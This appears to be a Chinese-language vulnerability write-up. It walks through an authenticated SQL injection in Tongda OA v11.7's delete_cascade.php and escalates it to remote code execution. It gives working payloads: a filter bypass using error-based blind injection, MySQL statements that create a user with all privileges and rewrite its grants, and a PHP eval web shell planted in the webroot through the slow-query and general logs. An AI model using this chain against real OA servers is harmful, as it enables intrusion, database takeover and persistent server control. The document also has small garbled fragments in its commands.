通达OA v11.7后台SQL注入到RCE[0day]——典型的SQL绕错场景
通达OA v11.7后台SQL注入到RCE[0day]
Author: AdminTony
1.测试环境
测试版本:通达OA v11.7版本
限制条件:需要账号登录
2.代码审计发现注入
注入出现在general/hr/manage/query/delete_cascade.php
文件中,代码实现如下:
![](https://ask.qcloudimg.com/http-save/4229548/0e50iu7lpf.png?imageView2/2/w/1620)
首先判断$condition_cascade
是否为空,如果不为空,则将其中的\'
替换为'
。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes
函数进行保护,如下:
inc/common.inc.php
代码
![](https://ask.qcloudimg.com/http-save/4229548/7y0wkshzx1.png?imageView2/2/w/1620)
因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a)
,结果没那么简单:
![](https://ask.qcloudimg.com/http-save/4229548/f88lke6t93.png?imageView2/2/w/1620)
触发了通达OA的过滤机制,翻看代码,在inc/conn.php
文件中找到过滤机制如下:
![](https://ask.qcloudimg.com/http-save/4229548/d1fg73s16s.png?imageView2/2/w/1620)
其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if
等函数,均未被过滤,所以还是有机会的。
传入错误的SQL语句时,页面出错:
![](https://ask.qcloudimg.com/http-save/4229548/p830xj2t3f.png?imageView2/2/w/1620)
那么只要构造MySQL报错即可配合if
函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)
也可以使数据库报错,所以构造语句:
select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错
![](https://ask.qcloudimg.com/http-save/4229548/fk4wu37ay8.png?imageView2/2/w/1620)
![](https://ask.qcloudimg.com/http-save/4229548/z4p8rot3sk.png?imageView2/2/w/1620)
3.构造利用链
- 添加用户:
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
![](https://ask.qcloudimg.com/http-save/4229548/nqqfheat3p.png?imageView2/2/w/1620)
然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;
这样就拥有了所有权限。再次登录:
![](https://ask.qcloudimg.com/http-save/4229548/pqh266g35.png?imageView2/2/w/1620)
提示这个,或者让改密码死活改不了。再执行一下
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@1
23' WITH GRANT OPTION
即可。
![](https://ask.qcloudimg.com/http-save/4229548/dqtk3o6m1l.png?imageView2/2/w/1620)
- 写shell:
hell:
# 查路径:
select @@basedir; # c:\td0a117\mysql5\,那么web目录就是c:\td0a117\webroot\
# 方法1:
set global slow_query_log=on;
set global slow_query_log_file='C:/td0a117/webroot/tony.php';
select '<?php eval($_POST[x]);?>' or sleep(11);
# 方法2:
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '<?php eval($_POST[x]);?>';
show variables like '%general%';
![](https://ask.qcloudimg.com/http-save/4229548/m3xthaa11j.png?imageView2/2/w/1620)